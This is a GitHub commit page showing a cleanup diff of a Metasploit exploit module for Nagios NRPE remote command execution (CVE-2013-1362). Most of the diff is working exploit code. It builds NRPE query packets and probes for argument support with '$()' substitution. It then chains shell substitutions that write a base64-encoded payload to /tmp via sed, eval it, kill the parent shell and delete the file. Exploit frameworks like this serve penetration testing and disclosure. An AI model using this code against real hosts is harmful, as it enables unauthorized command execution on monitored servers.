Skip to content

Commit 036d997

Browse files
committed
Merge pull request #1 from jvazquez-r7/nagios_nrpe_work
cleanup for nagios_nrpe_arguments
2 parents 21e9f7d + cd58a6e commit 036d997

File tree

1 file changed

+57
-61
lines changed

1 file changed

+57
-61
lines changed

modules/exploits/linux/misc/nagios_nrpe_arguments.rb

Lines changed: 57 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -14,37 +14,33 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
include Msf::Exploit::Remote::Tcp
1616

17-
# would like to replace these globals how would I do that?
18-
@ssl_socket = nil
19-
@force_ssl = false
2017
def initialize(info = {})
2118
super(update_info(info,
22-
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
19+
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
2320
'Description' => %q{
2421
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
25-
Nagios server to actively poll information from the hosts it monitors. NRPE
26-
has a configuration option dont_blame_nrpe (with a caveat above it ENABLING
27-
THIS OPTION IS A SECURITY RISK!) which enables command-line arguments to be
28-
provided remote plugins. This option is often enabled, and while NRPE makes
29-
an effort to sanitize arguments to prevent command execution, it is possible
30-
to execute arbitrary commands. },
31-
'DefaultOptions' => {
32-
'EXITFUNC' => 'process',
33-
'PrependFork' => 'yes',
34-
'AppendExit' => 'yes',
35-
36-
},
37-
'Author' => [
38-
'jwpari <jwpari[at]beersec.org>'
22+
Nagios server to actively poll information from the hosts it monitors. NRPE
23+
has a configuration option dont_blame_nrpe which enables command-line arguments
24+
to be provided remote plugins. When this option is enabled, even when NRPE makes
25+
an effort to sanitize arguments to prevent command execution, it is possible to
26+
execute arbitrary commands.
27+
},
28+
'Author' =>
29+
[
30+
'Rudolph Pereir', # Vulnerability discovery
31+
'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
3932
],
40-
'References' => [
41-
[ 'CVE', '2012-5194'],
42-
[ 'CVE', '2013-1362'],
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-1362' ],
36+
[ 'OSVDB', '90582'],
37+
[ 'BID', '58142'],
38+
[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
4339
],
44-
'License' => MSF_LICENSE,
45-
'Platform' => [ 'unix' ],
46-
'Arch' => [ ARCH_CMD ],
47-
'Payload' =>
40+
'License' => MSF_LICENSE,
41+
'Platform' => 'unix',
42+
'Arch' => ARCH_CMD,
43+
'Payload' =>
4844
{
4945
'DisableNops' => true,
5046
'Compat' =>
@@ -54,32 +50,36 @@ def initialize(info = {})
5450
# *_perl, *_python and *_ruby work if they are installed
5551
}
5652
},
57-
'Targets' => [
58-
['Nagios Remote Plugin Executor prior to 2.14', {}]
53+
'Targets' =>
54+
[
55+
[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
5956
],
6057
'DefaultTarget' => 0,
61-
'DisclosureDate' => 'Sep 23 2012'
58+
'DisclosureDate' => 'Feb 21 2013'
6259
))
6360

6461
register_options(
6562
[
6663
Opt::RPORT(5666),
67-
OptString.new('CMD', [ true, "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg", 'check_procs']),
64+
OptEnum.new('NRPECMD', [
65+
true,
66+
"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
67+
'check_procs',
68+
['check_procs', 'check_users', 'check_load', 'check_disk']
69+
]),
6870
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
6971
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
7072
], self.class)
7173
end
7274

73-
def send_message(sock, message)
74-
checksum = 0
75-
75+
def send_message(message)
7676
packet = [
77-
2, # packet version
78-
1, # packet type, 1 => query packet
79-
0, # checksum, to be added later
80-
0, # result code, discarded for query packet
81-
message, # the command and arguments
82-
0 # padding
77+
2, # packet version
78+
1, # packet type, 1 => query packet
79+
0, # checksum, to be added later
80+
0, # result code, discarded for query packet
81+
message, # the command and arguments
82+
0 # padding
8383
]
8484
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
8585
begin
@@ -92,61 +92,56 @@ def send_message(sock, message)
9292
return res.unpack("nnNnA1024n")[4] unless res.nil?
9393
end
9494

95+
def setup
96+
@ssl_socket = nil
97+
@force_ssl = false
98+
super
99+
end
100+
95101
def exploit
96102

97103
if check != Exploit::CheckCode::Vulnerable
98104
fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
99105
end
100106

101-
self.connect
102-
print_status("Sending request...")
103-
104-
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
105-
106107
stage = "setsid nohup #{payload.encoded} & "
107-
108108
stage = Rex::Text.encode_base64(stage)
109-
110109
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
111-
112-
command = datastore['CMD']
110+
command = datastore['NRPECMD']
113111
command << "!"
114112
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
115-
116113
# need a way to write to a file without using redirection (>)
117114
# cant count on perl being on all linux hosts, use GNU Sed
118115
# TODO: Probably a better way to do this, some hosts may not have a /tmp
119116
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
120117
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
121118
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
122119
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
123-
command << "$(kill -9 $$))" # kill check_procs parent (popen'd sh) so that it never executes
124-
send_message(sock, command)
125-
handler
126-
self.disconnect
127-
120+
command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
121+
command << "$(rm -f /tmp/$$))" # clean the file with the stage
122+
connect
123+
print_status("Sending request...")
124+
send_message(command)
125+
disconnect
128126
end
129127

130128
def check
131-
132-
print_status("Checking if remote nrpe supports command line arguments")
129+
print_status("Checking if remote NRPE supports command line arguments")
133130

134131
begin
135132
# send query asking to run "fake_check" command with command substitution in arguments
136-
self.connect
137-
res = send_message(sock, "__fake_check!$()")
133+
connect
134+
res = send_message("__fake_check!$()")
138135
# if nrpe is configured to support arguments and is not patched to add $() to
139136
# NASTY_META_CHARS then the service will return:
140137
# NRPE: Command '__fake_check' not defined
141138
if res =~ /not defined/
142-
return Exploit::CheckCode::Vulnerable
143-
end
144-
139+
return Exploit::CheckCode::Vulnerable
140+
end
145141
# Otherwise the service will close the connection if it is configured to disable arguments
146142
rescue EOFError => eof
147143
return Exploit::CheckCode::Safe
148144
rescue Errno::ECONNRESET => reset
149-
150145
unless datastore['NRPESSL'] or @force_ssl
151146
print_status("Retrying with ADH SSL")
152147
@force_ssl = true
@@ -185,6 +180,7 @@ def connect(global = true, opts={})
185180

186181
return self.sock
187182
end
183+
188184
def disconnect
189185
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
190186
super

0 commit comments

Comments
 (0)